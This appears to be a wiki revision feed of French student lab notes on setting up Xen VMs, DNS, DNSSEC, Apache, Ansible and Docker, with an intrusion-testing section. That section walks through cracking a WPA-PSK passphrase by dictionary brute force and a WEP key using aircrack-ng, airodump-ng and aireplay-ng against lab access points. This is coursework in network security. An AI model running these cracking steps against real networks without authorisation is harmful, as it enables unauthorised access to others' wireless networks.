Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Result-httpd.png&amp;diff=51777</id>
		<title>Fichier:Result-httpd.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Result-httpd.png&amp;diff=51777"/>
				<updated>2019-12-10T09:22:43Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Result-jeu-docker-bis.png&amp;diff=51776</id>
		<title>Fichier:Result-jeu-docker-bis.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Result-jeu-docker-bis.png&amp;diff=51776"/>
				<updated>2019-12-10T09:22:23Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Result_jeu_docker.png&amp;diff=51775</id>
		<title>Fichier:Result jeu docker.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Result_jeu_docker.png&amp;diff=51775"/>
				<updated>2019-12-10T09:21:57Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51774</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51774"/>
				<updated>2019-12-10T09:18:58Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On le lance:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51771</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51771"/>
				<updated>2019-12-10T08:42:58Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
